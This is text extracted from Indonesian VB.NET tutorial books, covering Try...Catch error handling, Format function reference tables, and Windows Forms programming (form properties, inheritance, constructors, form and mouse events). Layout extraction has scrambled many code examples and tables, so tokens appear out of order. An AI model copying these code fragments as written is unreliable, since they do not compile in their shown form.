Try…Catch…Finally merupakan cara baru penanganan error di Visual Basic pada saat runtime, adapun tata penulisannya adalah sebagai berikut :.
Try [ tryStatements ] Catch [ exception [ As [ catchStatements ] ] [ Exit Try ] [ [ Finally [ finallyStatements ] ] End Try type ] ] [ When expression ]

Contoh :
Option Explicit On Imports System Imports System.IO Public Sub Module ModFS String)

Main(ByVal CmdArgs() As Dim Buffer(511) As Byte

If CmdArgs.Length < 2 Then Console.WriteLine("Pemakaian <filetujuan>") End End If Dim FSS As FileStream Try FSS Catch ex = As

:

duplikat

<fileasal>

File.OpenRead(CmdArgs(0)) Exception buka file " + CmdArgs(0))

Console.WriteLine("Gagal End End Try Dim FST As FileStream =

File.Create(CmdArgs(1))

Dim Terbaca As Integer = 0 Dim I As Integer Do Terbaca = FSS.Read(Buffer,0,Buffer.Length()) FST.Write(Buffer,0,Terbaca) Loop Until Terbaca < 512

INDOPROG

71

Bahasa pemrograman VB.NET

Hendra, S.T.

FSS.Close() FST.Close() End Sub End Module

INDOPROG

72

Bahasa pemrograman VB.NET

Hendra, S.T.

Lampiran 1

Predefined Numeric Formats (Format Function)
Format name General Number, G, or g Currency, C, or c Description Displays number with no thousand separator. Displays number with thousand separator, if appropriate; display two digits to the right of the decimal separator. Output is based on system locale settings. Displays at least one digit to the left and two digits to the right of the decimal separator. Displays number with thousand separator, at least one digit to the left and two digits to the right of the decimal separator. Displays number multiplied by 100 with a percent sign (%) appended immediately to the right; always displays two digits to the right of the decimal separator. Displays number with thousandths separator multiplied by 100 with a percent sign (%) appended to the right and separated by a single space; always displays two digits to the right of the decimal separator. Uses standard scientific notation, providing two significant digits. Uses standard scientific notation, providing six significant digits. Displays number as a string that contains the value of the number in Decimal (base 10) format. This option is supported for integral types (Byte, Short, Integer, Long) only. Displays number as a string that contains the value of the number in Hexadecimal (base 16) format. This option is supported for integral types (Byte, Short, Integer, Long) only. Displays No if number is 0; otherwise, displays Yes.

Fixed, F, or f Standard, N, or n

Percent

P, or p

Scientific E, or e D, or d

X, or x

Yes/No

INDOPROG

73

Bahasa pemrograman VB.NET

Hendra, S.T.

True/False On/Off

Displays False if number is 0; otherwise, displays True. Displays Off if number is 0; otherwise, displays On.

User-Defined Numeric Formats (Format Function)
Character None (0) Description Displays the number with no formatting. Digit placeholder. Displays a digit or a zero. If the expression has a digit in the position where the zero appears in the format string, display it; otherwise, displays a zero in that position. If the number has fewer digits than there are zeros (on either side of the decimal) in the format expression, displays leading or trailing zeros. If the number has more digits to the right of the decimal separator than there are zeros to the right of the decimal separator in the format expression, rounds the number to as many decimal places as there are zeros. If the number has more digits to the left of the decimal separator than there are zeros to the left of the decimal separator in the format expression, displays the extra digits without modification. Digit placeholder. Displays a digit or nothing. If the expression has a digit in the position where the # character appears in the format string, displays it; otherwise, displays nothing in that position. This symbol works like the 0 digit placeholder, except that leading and trailing zeros aren't displayed if the number has fewer digits than there are # characters on either side of the decimal separator in the format expression. Decimal placeholder. The decimal placeholder determines how many digits are displayed to the left and right of the decimal separator. If the format expression contains only # characters to the left of this symbol; numbers smaller than 1 begin with a decimal separator. To display a leading zero displayed with fractional numbers, use zero as the first digit placeholder to the left of the decimal separator. In some locales, a comma is used as the decimal separator. The actual character used as a decimal placeholder in the formatted output depends on the number format recognized by your system. Thus, You should use the period as the decimal placeholder in your formats even if you are in a locale that uses a comma as a decimal placeholder. The formatted string will appear in the format correct for the locale. Percent placeholder. Multiplies the expression by 100. The percent

(#)

(.)

(%)

INDOPROG

74

Bahasa pemrograman VB.NET

Hendra, S.T.

(,)

character (%) is inserted in the position where it appears in the format string. Thousand separator. The thousand separator separates thousands from hundreds within a number that has four or more places to the left of the decimal separator. Standard use of the thousand separator is specified if the format contains a thousand separator surrounded by digit placeholders (0 or #). A thousand separator immediately to the left of the decimal separator (whether or not a decimal is specified) or as the rightmost character in the string means "scale the number by dividing it by 1,000, rounding as needed." For example, you can use the format string "##0,." to represent 100 million as 100,000. Numbers smaller than 1,000 but greater or equal to 500 are displayed as 1, and numbers smaller than 500 are displayed as 0. Two adjacent thousand separators in this position scale by a factor of 1 million, and an additional factor of 1,000 for each additional separator.

Multiple separators in any position other than immediately to the left of the decimal separator or the rightmost position in the string are treated simply as specifying the use of a thousand separator. In some locales, a period is used as a thousand separator. The actual character used as the thousand separator in the formatted output depends on the Number Format recognized by your system. Thus, You should use the comma as the thousand separator in your formats even if you are in a locale that uses a period as a thousand separator. The formatted string will appear in the format correct for the locale. (:) Time separator. In some locales, other characters may be used to represent the time separator. The time separator separates hours, minutes, and seconds when time values are formatted. The actual character used as the time separator in formatted output is determined by your system settings. (/) Date separator. In some locales, other characters may be used to represent the date separator. The date separator separates the day, month, and year when date values are formatted. The actual character used as the date separator in formatted output is determined by your system settings. (E- E+ e- e+) Scientific format. If the format expression contains at least one digit placeholder (0 or #) to the left of E-, E+, e-, or e+, the number is displayed in scientific format and E or e is inserted between the number and its exponent. The number of digit placeholders to the left determines the number of digits in the exponent. Use E- or e- to place a minus sign next to negative exponents. Use E+ or e+ to place a minus sign next to negative exponents and a plus sign next to positive exponents. You must also include digit placeholders to the right of this symbol to get correct formatting. -+$() Literal characters. These characters are displayed exactly as typed in the format string. To display a character other than one of those listed,

INDOPROG

75

Bahasa pemrograman VB.NET

Hendra, S.T.

(\)

precede it with a backslash (\) or enclose it in double quotation marks (" "). Displays the next character in the format string. To display a character that has special meaning as a literal character, precede it with a backslash (\). The backslash itself isn't displayed. Using a backslash is the same as enclosing the next character in double quotation marks. To display a backslash, use two backslashes (\\). Examples of characters that can't be displayed as literal characters are the date-formatting and time-formatting characters (a, c, d, h, m, n, p, q, s, t, w, y, /, and :), the numeric-formatting characters (#, 0, %, E, e, comma, and period), and the string-formatting characters (@, &, <, >, and !). Displays the string inside the double quotation marks (" "). To include a string in the style argument from within code, you must use Chr(34) to enclose the text (34 is the character code for a quotation mark (")).

("ABC")

Example The following table contains some sample format expressions for numbers. (These examples all assume that your system's locale setting is English-U.S.) The first column contains the format strings for the Style argument of the Format function; the other columns contain the resulting output if the formatted data has the value given in the column headings. Format (Style)
Zero-length string ("") 0 0.00 #,##0 $#,##0;($#,##0) $#,##0.00; ($#,##0.00) 0% 0.00% 0.00E+00 0.00E-00 5 5 5.00 5 $5 $5.00 500% 500.00% 5.00E+00 5.00E00

"5" formatted as "-5" formatted as "0.5" formatted as
-5 -5 -5.00 -5 ($5) ($5.00) -500% -500.00% -5.00E+00 -5.00E00 0.5 1 0.50 1 $1 $0.50 50% 50.00% 5.00E-01 5.00E-01

Predefined Date/Time Formats (Format Function)
Format Name Description General Date, or Displays a date and/or time. For real numbers, display a date and

INDOPROG

76

Bahasa pemrograman VB.NET

Hendra, S.T.

G

Long Date, or D Medium Date Short Date, or d Long Time, or T Medium Time Short Time, or t F F G M, m R, r S U U Y, y

time; for example, 4/3/93 05:34 PM.If there is no fractional part, display only a date, for example, 4/3/93. If there is no integer part, display time only, for example, 05:34 PM. Date display is determined by your system's LocaleID value. Displays a date according to your locale's long date format. Displays a date using the medium date format appropriate for the language version of the host application. Displays a date using your locale's short date format. Displays a time using your locale's long time format; includes hours, minutes, seconds. Displays time in 12-hour format using hours and minutes and the AM/PM designator. Displays a time using the 24-hour format, for example, 17:45. Displays the long date and short time according to your locale's format. Displays the long date and long time according to your locale's format. Displays the short date and short time according to your locale's format. Displays the month and the day of a date. Formats the date and time as Greenwich Mean Time (GMT) Formats the date and time as a sortable index. Formats the date and time as a GMT sortable index. Formats the date and time with the long date and long time as GMT. Formats the date as the year and month.

User-Defined Date/Time Formats (Format Function)
Character (:) Description Time separator. In some locales, other characters may be used to represent the time separator. The time separator separates hours, minutes, and seconds when time values are formatted. The actual character used as the time separator in formatted output is determined by your system's LocaleID value. Date separator. In some locales, other characters may be used to represent the date separator. The date separator separates the day, month, and year when date values are formatted. The actual character used as the date separator in formatted output is determined by your locale. Used to indicate that the following character should be read as a singleletter format without regard to any trailing letters. Also used to indicate

(/)

(%)

INDOPROG

77

Bahasa pemrograman VB.NET

Hendra, S.T.

d dd ddd dddd M

MM MMM MMMM gg h

hh H

HH m

mm s

ss F

T

that a single-letter format is read as a user-defined format. See below for further details Displays the day as a number without a leading zero (for example, 1). Use %d if this is the only character in your user-defined numeric format. Displays the day as a number with a leading zero (for example, 01). Displays the day as an abbreviation (for example, Sun). Displays the day as a full name (for example, Sunday). Displays the month as a number without a leading zero (for example, January is represented as 1). Use %M if this is the only character in your user-defined numeric format. Displays the month as a number with a leading zero (for example, 01/12/01). Displays the month as an abbreviation (for example, Jan). Displays the month as a full month name (for example, January). Displays the period/era string (for example, A.D.) Displays the hour as a number without leading zeros using the 12-hour clock (for example, 1:15:15 PM). Use %h if this is the only character in your user-defined numeric format. Displays the hour as a number with leading zeros using the 12-hour clock (for example, 01:15:15 PM). Displays the hour as a number without leading zeros using the 24-hour clock (for example, 1:15:15). Use %H if this is the only character in your user-defined numeric format. Displays the hour as a number with leading zeros using the 24-hour clock (for example, 01:15:15). Displays the minute as a number without leading zeros (for example, 12:1:15). Use %m if this is the only character in your user-defined numeric format. Displays the minute as a number with leading zeros (for example, 12:01:15). Displays the second as a number without leading zeros (for example, 12:15:5). Use %s if this is the only character in your user-defined numeric format. Displays the second as a number with leading zeros (for example, 12:15:05). Displays fractions of seconds. For example ff will display hundredths of seconds, whereas ffff will display ten-thousandths of seconds. You may use up to seven f symbols in your user-defined format. Use %f if this is the only character in your user-defined numeric format. Uses the 12-hour clock and displays an uppercase A for any hour before noon; displays an uppercase P for any hour between noon and 11:59 P.M. Use %t if this is the only character in your user-defined numeric format.

INDOPROG

78

Bahasa pemrograman VB.NET

Hendra, S.T.

tt

y yy yyy yyyy z zz zzz Example

Uses the 12-hour clock and displays an uppercase AM with any hour before noon; displays an uppercase PM with any hour between noon and 11:59 P.M. Displays the year number (0-9) without leading zeros. Use %y if this is the only character in your user-defined numeric format. Displays the year in two-digit numeric format with a leading zero, if applicable. Displays the year in four digit numeric format. Displays the year in four digit numeric format. Displays the timezone offset without a leading zero (for example, -8). Use %z if this is the only character in your user-defined numeric format. Displays the timezone offset with a leading zero (for example, -08) Displays the full timezone offset (for example, -08:00)

The following are examples of user-defined date and time formats for December 7, 1958, 8:50 PM, 35 seconds: Format Displays

M/d/yy 12/7/58 d-MMM 7-Dec d-MMMM-yy 7-December-58 d MMMM 7 December MMMM yy December 58 hh:mm tt 08:50 PM h:mm:ss t 8:50:35 P H:mm 20:50 H:mm:ss 20:50:35 M/d/yyyy H:mm 12/7/1958 20:50

INDOPROG

79

Bahasa pemrograman VB.NET

Hendra, S.T.

Daftar Pustaka .NET Framework SDK documentation, Microsoft Corporation

INDOPROG

80

Pemrograman Form pada VB.NET

Hendra, S.T.

Pemrograman Form pada VB.Net
Oleh : Hendra, ST.

Buku ini membahas tentang pembuatan program Windows Form dengan bahasa pemrograman Visual Basic .Net, dan ditujukan kepada siapa saja yang serius untuk mempelajari pembuatan form dan control dengan VB.NET secara koding (tanpa menggunakan fasilitas designer pada Visual Studio .NET). Bagi anda yang belum mengenal bahasa pemrograman VB.NET sebaiknya memulai proses belajar dengan buku Bahasa Pemrograman VB.NET. Untuk mempelajari buku ini anda tidak perlu menginstalasi Visual Studio .NET, tetapi anda cukup menginstalasi .Net Framework yang dapat didownload secara gratis dari website Microsoft. Semua contoh dan latihan dibuku ini dapat dikompilasi langsung dari Dos prompt dengan menggunakan kompiler Visual Basic yang langsung tersedia setelah anda menginstalasi .Net Framework. Dibandingkan dengan Visual Basic 6.0, maka VB.NET adalah benar-benar bahasa pemrograman, dimana pembuatan form dan control dapat dilakukan secara koding 100%, sedangkan pada Visual Basic 6.0 hal tersebut tidak dimungkinkan.

INDOPROG

1

Pemrograman Form pada VB.NET

Hendra, S.T.

Program Windows Form
Windows Forms merupakan platform pada .NET Framework untuk pengembangan program aplikasi yang berbasis Form pada Windows. Framework ini menyediakan berbagai class-class yang jelas, berorientasi objek, dan dapat dikembangkan, Windows Forms dapat bertindak sebagai interface local pada solusi client server maupun multi-tier terdistribusi. Catatan : Pada VB.NET, kita dapat melakukan pemrograman form tanpa menggunakan fasilitas designer sama sekali dan tentu saja cara ini cukup menyulitkan bagi programmer VB yang sudah terbiasa menggunakan IDE. Sebenarnya fasilitas IDE berbasis .NET dapat diperoleh dengan menginstalasi Visual Studio.NET, dan tentu saja membutuhkan suatu investasi yang besar untuk mempelajari bahasa pemrograman ini bagi mahasiswa maupun kalangan perguruan tinggi. Tutorial ini menggunakan pendekatan koding langsung yang dapat dilakukan dengan notepad maupun edit, dan hasil koding dapat dikompilasi dengan compiler Visual Basic yang tersedia begitu kita menginstalasi Microsoft .NET Framework yang dapat didownload gratis di situs Microsoft. Penulis yakin proses pembelajaran dengan pendekatan koding merupakan langkah yang sangat tepat untuk membawa anda menjadi professional yang menguasai VB.NET secara mendalam dan mengendalikan secara penuh program aplikasi anda.

Apa itu form ?
Form merupakan interface antara program dengan pemakai untuk proses input output. Pada Windows, form dapat berupa :
• • •

single-document interface (SDI) multiple-document interface (MDI) Explorer-style interface

Salah satu contoh dari interface SDI adalah aplikasi WordPad. Adapun program aplikasi Windows yang berbasis pada form yang paling sederhana adalah :
Option Explicit Imports System Public Module On

MyModule

INDOPROG

2

Pemrograman Form pada VB.NET

Hendra, S.T.

Dim Sub

Form1

As

New

System.Windows.Forms.Form

Main() Form1.Text = "Belajar Buat Form" Form1.ShowDialog() End Sub Module

'untuk title form 'form modal

End

Proses Kompilasi
Kemudian simpan dengan nama form.vb anda dapat melakukan kompilasi dengan perintah : Vbc <namafile> /r:System.dll /r:System.Windows.Forms.dll /r:System.Drawing.dll Contoh : Vbc form.vb /r:System.dll /r:System.Windows.Forms.dll Selanjutnya anda dapat menjalankannya sebagaimana program Windows dan menghasilkan tampilan berikut :

Membuat Form senantiasa diatas form lain
Form yang senantiasa berada diatas form lain maksudnya adalah form yang tidak dapat ditimpa oleh form lain diatas layar. Form-form sejenis ini biasanya digunakan pada aplikasi screen saver maupun aplikasi security untuk mengunci layar seperti pada Billing System pada warna, maupun program pada Front Desk, maupun POS untuk mencegah pemakai beralih ke layar lain.
Option Explicit Imports System Public Dim Sub Module Form1 On

MyModule As New System.Windows.Forms.Form

Main() Form1.Text = "Form ini Form1.TopMost = True Form1.ShowDialog() End Sub Module

senantiasa

diatas

form

lainnya"

End

Membuat Form transparan
Kita dapat menggunakan properties Opacity yang dapat diset antara nilai double 0.0 (paling transparan) s/d 1.0

INDOPROG

3

Pemrograman Form pada VB.NET

Hendra, S.T.

Option Explicit On Imports System Imports System.Threading Public Dim Sub Module Form1 MyModule As New System.Windows.Forms.Form

Main() Form1.Text = "Form ini akan semakin transparan" Form1.Show() For I As Double = 1 To 0 Step -0.01 Form1.Opacity = I Form1.Refresh() 'refresh form dengan setting baru Thread.Sleep(100) 'memperlambat program 100 millidetik Next I End Sub Module

End

Menampilkan Form Modal dan Modeless
Form Modal harus ditutup atau hidden sebelum program berikutnya dijalankan, sedangkan pada Modeless program akan dilanjutkan setelah form ditampilkan. Biasanya form Modal digunakan untuk menampilkan dialog box yang membutuhkan perhatian pemakai dan proses tidak boleh dialihkan sebelum mendapatkan keputusan dari pemakai. Untuk form Modal dapat digunakan metoda ShowDialog(), sedangkan untuk form Modeless dapat digunakan metoda Show().

Mengatur border pada form
Ada beberapa model border yang dapat diset pada properti FormBorderStyle, berikut ini adalah beberapa enumerasi pada FormBorderStyle.
Setting None Fixed3D FixedDialog FixedSingle FixedToolWindow Description Tidak ada border, biasanya digunakan untuk splash screen Menggunakan efek tiga dimensi. Ukuran form tidak dapat diubah. Dapat diikuti oleh tombol control-menu box, title bar, Maximize dan Minimize pada title bar. Digunakan untuk fixedDialog Tidak dapat diubah ukurannya Digunakan untuk tool windows, dan form tidak ditampilkan pada task bar

Sizable Form default SizableToolWindow Tools windows yang dapat diubah ukurannya

Option Explicit Imports System Public Dim Module Form1

On

MyModule As New System.Windows.Forms.Form

INDOPROG

4

Pemrograman Form pada VB.NET

Hendra, S.T.

Main() Form1.Text = "Form ini menggunakan border Form1.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog Form1.ShowDialog() End Sub End Module

Sub

fixed

3D"

Kita dapat juga mengatur keberadaan button maximize dan minimize, dengan properti MinimizeBox dan MaximizeBox, contoh :
Option Explicit Imports System Public Dim Sub Module Form1 On

MyModule As New System.Windows.Forms.Form

Main() Form1.Text = "Form ini tanpa Form1.MinimizeBox = False Form1.MaximizeBox = False Form1.ShowDialog() End Sub Module

tombol

Maximize

dan

Minimize"

End

Mengatur ukuran form
Untuk mengubah ukuran form pada saat runtime dapat menggunakan properti Height, dan Width, misalnya kita ingin mengubah ukuran form menjadi 500 x 500 pixel, Contoh :
Option Explicit Imports System Public Dim Sub Module Form1 On

MyModule As New System.Windows.Forms.Form

Main() Form1.Text = "Form ini berukuran 500 x 500 pixel" Form1.Width = 500 Form1.Height = 500 Form1.ShowDialog() End Sub Module

End

Catatan : Jika kita tidak menentukan ukuran form, maka default suatu form adalah 300 x 300 pixel

INDOPROG

5

Pemrograman Form pada VB.NET

Hendra, S.T.

Ukuran form juga tergantung pada setting properti WindowState, yang mana dapat diset dengan enumerasi dari FormWindowState berikut :
Member name Description Maximized Minimized Normal Jendela maximized. Jendela minimize Jendela default

Option Explicit Imports System Public Dim Sub Module Form1

On

MyModule As New System.Windows.Forms.Form

Main() Form1.Text = "Form ini dalam state Maximize" Form1.WindowState = System.Windows.Forms.FormWindowState.Maximized Form1.ShowDialog() End Sub End Module

Mengatur lokasi form di layar
Untuk menentukan posisi form dilayar dapat digunakan properti Left, dan Top, serta StartPosition, contoh:
Option Explicit Imports System Public Dim Sub Module Form1 On

MyModule As New System.Windows.Forms.Form

Main() Form1.Text = "Form ini berada di posisi 0,0" Form1.Top = 0 Form1.Left = 0 Form1.ShowDialog() End Sub Module

End

Sedangkankan untuk pemakaian properti StartPosition kita menggunakan enumerasi FormStartPosition sebagai berikut :
Member name CenterParent CenterScreen Manual WindowsDefaultBounds Description The form is centered within the bounds of its parent form.

dapat

The form is centered on the current display, and has the dimensions specified in the form's size. The position of the form is determined by the Location property. The form is positioned at the Windows default location and has the bounds

INDOPROG

6

Pemrograman Form pada VB.NET

Hendra, S.T.

determined by Windows default. WindowsDefaultLocation The form is positioned at the Windows default location and has the dimensions specified in the form's size.

Contoh : Option Explicit Imports System Public Dim Sub Module Form1 On

MyModule As New System.Windows.Forms.Form

Main() Form1.Text = "Form ini berada ditengah layar" Form1.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen Form1.ShowDialog() End Sub End Module

Latihan :
Buatlah program aplikasi windows yang dapatkan menampilkan form dengan ketentuan sebagai berikut : 1. Judul Form : Form saya yang pertama 2. Ukuran : 450 x 450 pixel 3. Berada diposisi : 200,200 4. Bingkai : Fixed Single 5. Opacity : 0.5 Modifikasi program diatas untuk menampilkan form tersebut ditengah layar.

INDOPROG

7

Pemrograman Form pada VB.NET

Hendra, S.T.

OOP pada program Windows Form
Adapun teknik lain yang dapat digunakan untuk pembuatan program Windows Form adalah dengan pendekatan OOP, dimana kita membangun class baru yang di inherit dari System.Windows.Forms.Form, contoh :
Option Explicit Imports System Public On

Class MyForm Inherits System.Windows.Forms.Form

<System.STAThread()> _ Public Shared Sub Main() System.Windows.Forms.Application.Run(New MyForm) End Sub End Class

Pada program sebelumnya, kita senantiasa menggunakan Form1.ShowDialog() untuk menampilkan Form1 secara modal, sedangkan kalau kita menggunakan Form1.Show(), form hanya ditampilkan sebentar kemudian hilang karena program aplikasi kita segera berakhir sesaat setelah Form1 ditampilkan, dan konsekuensinya Form1 juga dibuang dari memori. Sedangkan perintah System.Windows.Forms.Application.Run(New MyForm), akan mengatur message dari sistem operasi ke program aplikasi, jika program anda tidak mencantumkan baris ini, maka program dapat dikompilasi dan dijalankan tanpa menghasilkan apa-apa. Catatan : Inheritance adalah salah satu ciri-ciri dari pemrograman berorientasi objek. Sebagaimana kita ketahui bahwa Class Form telah tersedia pada .NET terdefinisi pada namespace System.Windows.Forms. Selanjutnya jika kita membuat class baru dengan melakukan inherit dari class Form, maka secara otomatis akan mewarisi semua property, metoda, dan event yang sifatnya protected dan public pada class Form. Jadi kita tidak perlu perlu menulis ulang semua prilaku pada class baru, melainkan cukup melakukan inherit dari parent class yang secara otomatis akan mewariskan semua prilakunya ke child class. Inheritance Salah satu keunggulan dari OOP adalah isu pemanfaatan kembali. Dengan inheritance

INDOPROG

8

Pemrograman Form pada VB.NET

Hendra, S.T.

tugas pemrograman dapat dipemudah. Suatu class yang telah dikembangkan dapat diperbaharui dengan mengembangkan child class (sub class) yang merupakan inheritance dari parent class (super class). Inheritance menyerupai pengembangan produk baru pada suatu perusahaan, dimana engineer tidak perlu membuat produk baru dari awal, tetapi dengan mengacu pada produk yang telah ada, dan dilakukan penambahan dan perbaikan.

Mengatur setting Form dengan Constructor
Untuk pengaturan setting Form, kita dapat membuat suatu Constructor bagi Class MyForm. Constructor adalah metoda khusus suatu Class yang akan otomatis dijalankan begitu instance dari Class dibuat dimemori komputer. Catatan : Perintah New MyForm adalah membuat instance dari Class MyForm. Dalam OOP istilah Class sering dicampuradukan dengan Objek, pada hal sebenarnya Class merupakan cetak biru dari Objek.

Hubungan antara Object dan Class Object merupakan instance dari Class, beberapa object dapat berasal dari Class yang sama, tetapi memiliki properti yang berbeda-beda (dengan bahasa yang lebih sederhana dapat dikatakan bahwa class merupakan blue print dari objek-objek).

Misalnya dalam membangun rumah, maka sebelumnya dilakukan rancangan awal dengan mengambarkan detail dari rumah serta ukuran-ukurannya, kemudian oleh pengembang akan dibangun rumah-rumah yang nyata berdasarkan blue print tersebut. Pada pembuatan program OOP, dimulai dengan pembuatan Class, dan pada saat runtime akan dibuat instance dari Class sebagai Objek, jadi program tersebut berjalan sebagai objek-objek dimemori komputer. Pada Visual Basic, constructor untuk suatu Class ciptaan dapat menggunakan Public Sub New. Contoh :
Option Explicit Imports System On

INDOPROG

9

Pemrograman Form pada VB.NET

Hendra, S.T.

Public

Class MyForm Inherits System.Windows.Forms.Form

<System.STAThread()> _ Public Shared Sub Main() System.Windows.Forms.Application.Run(New MyForm) End Sub Public Sub New() 'Constructor Me.Text = "Dengan pendekatan OOP" End Sub End Class

Catatan : Konstruktor merupakan metode khusus pada class, dimana metoda ini otomatis akan dijalankan oleh computer sesaat instance dari class dibuat, misalnya (New MyForm):
System.Windows.Forms.Application.Run(New MyForm)

Pada dunia nyata, setiap objek mengalami kelahiran dan kematian, contoh sebuah rumah mengalai tahap pembuatan (pembangunan) dan akhirnya akan diruntuhkan demikian juga manusia juga mengalami kelahiran dan kematian, pada saat seorang bagi dilahirkan, maka akan membawa property seperti jenis kelamin, berat badan, dan panjang. Sebagaimana objek pada dunia nyata, objek dikomputer pada saat dibuat, tentu saja ada property-properti tertentu yang perlu disetting nilai awalnya, dan hal tersebut dapat dilakukan dengan membuat konstruktor untuk class tersebut.

INDOPROG

10

Pemrograman Form pada VB.NET

Hendra, S.T.

Penanganan Event pada form
Salah satu ciri dari pemrograman pada windows adalah bagaimana menangani event yang dibangkitan oleh sistem operasi dan aplikasi berdasarkan aksi yang dilakukan oleh pemakai terhadap form, misalnya melakukan klik pada mouse, ataupun penekanan tombol.

Event pada Form
Event Activated GotFocus Load Resize Move LostFocus Closing Closed Deactivate Terjadi pada saat Terjadi ketika form diaktifkan Terjadi ketika kontrol mendapatkan focus Terjadi ketika form ditampilkan untuk pertama kali Terjadi ketika kontrol mengalami perubahan ukuran Terjadi ketika kontrol berpindah Terjadi ketika kontrol kehilangan fokus Terjadi ketika form akan ditutup Terjadi ketika form ditutup Terjadi ketika form kehilangan keaktifan Argumen EventHandle EventHandle EventHandle EventHandle EventHandle EventHandle CancelEventHandle EventHandle EventHandle

Catatan : Penanganan Event menjadi salah satu permasalahan yang dihadapi pemrograman yang mengembangkan aplikasi mereka di lingkungan Windows, sebagaimana kita ketahui bahwa Windows merupakan system operasi multitasking yang mana komunikasi antara program aplikasi dengan system operasi dilakukan berdasarkan message. Pada lingkungan multitasking, berbagai aksi yang dilakukan oleh pemakai pada system operasi dapat mempengaruhi proses pada program kita, seperti klik pada mouse, penekanan pada tombol. Jika anda berasal dari pemrograman lingkungan DOS yang mana proses program berjalan berdasarkan alur yang kita buat dari baris awal sampai baris terakhir, tentu saja akan mengalami kesulitan untuk beralih ke pemrograman Windows dengan cepat, sebab program di Windows berjalan berdasarkan Event. Tetapi saya yakin dengan latihan yang intensif anda dapat dengan segera menyesuaikan diri.

System.EventHandle
Adapun tata cara penulisan event procedure untuk event yang menggunakan EventHandle adalahs sebagai berikut :
Private Sub NamaKontrol_NamaEvent(ByVal sender System.EventArgs) Handles MyBase.NamaEvent As Object, ByVal e As

INDOPROG

11

Pemrograman Form pada VB.NET

Hendra, S.T.

System.ComponentModel.CancelEventArgs
Private Sub Form_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing

Pada CancelEventArgs tersedia properti Cancel yang dapat diset ke nilai True/False dengan tujuan proses Closing dilanjutkan atau dibatalkan. Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Class MyForm Inherits System.Windows.Forms.Form

Dim CatatEvent As String <System.STAThread()> _ Public Shared Sub Main() System.Windows.Forms.Application.Run(New MyForm) End Sub Public Sub New() 'Constructor Me.Text = "Mencoba Event pada Form" End Sub Private Sub MyForm_Load(sender as Object, e As System.EventArgs) Handles MyBase.Load CatatEvent = "Terjadi Load" & vbCrlf End Sub Private Sub MyForm_Activated(sender as Object, e As System.EventArgs) Handles MyBase.Activated CatatEvent = CatatEvent & "Terjadi Activate" & vbCrlf End Sub Private Sub MyForm_GotFocus(sender as Object, e As System.EventArgs) Handles MyBase.GotFocus CatatEvent = CatatEvent & "Terjadi GotFocus" & vbcrlf End Sub Private Sub MyForm_Move(sender as Object, e As System.EventArgs) Handles MyBase.Move CatatEvent = CatatEvent & "Terjadi Move" & vbcrlf End Sub Private Sub MyForm_Resize(sender as Object, e As System.EventArgs) Handles MyBase.Resize CatatEvent = CatatEvent & "Terjadi Resize" & vbcrlf End Sub Private Sub MyForm_Closing(ByVal sender As Object, ByVal System.ComponentModel.CancelEventArgs) Handles MyBase.Closing e As

INDOPROG

12

Pemrograman Form pada VB.NET

Hendra, S.T.

CatatEvent = CatatEvent & "Terjadi Closing" & vbCrlf e.Cancel = False End Sub Private Sub MyForm_Deactivate(sender as Object, e As System.EventArgs) Handles MyBase.Deactivate CatatEvent = CatatEvent & "Terjadi Deactivate" Msgbox(CatatEvent) End Sub

&

vbCrlf

Private Sub MyForm_LostFocus(sender as Object, e As System.EventArgs) Handles MyBase.LostFocus CatatEvent = CatatEvent & "Terjadi LostFocus" & vbCrlf End Sub Private Sub MyForm_Closed(sender as Object, e As System.EventArgs) Handles MyBase.Closed CatatEvent = CatatEvent & "Terjadi Closed" & vbCrlf End Sub End Class

Dimana kalau program dijalankan dan kemudian ditutup akan menampilkan kotak pesan yang berisi urutan event yang terjadi pada form mulai dari program dijalankan sampai ditutup.

Event pada Mouse
Event pada Mouse dibangkitkan pada saat pemakai melakukan aktifitas mouse terhadap form. Sesuai dengan urutan kejadiaannya adalah sebagai berikut :
Event MouseEnter MouseMove MouseHover MouseDown MouseWheel Click DoubleClick MouseUp MouseLeave Terjadi pada saat mouse pointer memasuki control mouse pointer bergerak diatas control mouse pointer melewati control penekanan button mouse diatas control pergerakan wheel pada mouse diatas control yang sedang focus Klik pada control Double klik pada control pelepasan button mouse diatas control Mouse meninggalkan control Argumen EventHandle MouseEventHandle EventHandle MouseEventHandle MouseEventHandle EventHandle EventHandle MouseEventHandle EventHandle

Dalam tata cara penulisan event procedure untuk event mouse terbagi atas dua jenis argumen yang dikirim ke procedure, yaitu EventHandle, dan MouseEventHandle.

INDOPROG

13

Pemrograman Form pada VB.NET

Hendra, S.T.

System.EventHandle
Adapun tata cara penulisan event procedure untuk event yang menggunakan EventHandle adalahs sebagai berikut :
Private Sub NamaKontrol_NamaEvent(ByVal sender System.EventArgs) Handles MyBase.NamaEvent As Object, ByVal e As

Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Class MyForm Inherits System.Windows.Forms.Form

<System.STAThread()> _ Public Shared Sub Main() System.Windows.Forms.Application.EnableVisualStyles() System.Windows.Forms.Application.Run(New MyForm) End Sub Public Sub New() 'Constructor Me.Text = "Dengan pendekatan OOP" End Sub Private Sub MyForm_MouseEnter(sender as Object, e As System.EventArgs) Handles MyBase.MouseEnter Msgbox("Terjadi Event MouseEnter") End Sub End Class

System.Windows.Forms.Form.MouseEventHandle
Adapun tata cara penulisan event procedure untuk event yang menggunakan MouseEventHandle adalah sebagai berikut :
Private Sub NamaKontrol_NamaEvent(ByVal sender As Object, System.Windows.Forms.MouseEventArgs) Handles MyBase.NamaEvent ByVal e As

Informasi yang dapat diperoleh dari MouseEventHandle :
Property Button Clicks Delta X Y Description Mendapatkan tombol mouse yang ditekan (None, Left, Middle, Right, Xbutton1, Xbutton2) Mendapatkan jumlah klik Mendapatkan jumlah rotasi roda mouse Mendapatkan koordinat X mouse Mendapatkan koordinat Y mouse

Contoh :

INDOPROG

14

Pemrograman Form pada VB.NET

Hendra, S.T.

Option Explicit On Imports System Imports Microsoft.VisualBasic Public Class MyForm Inherits System.Windows.Forms.Form

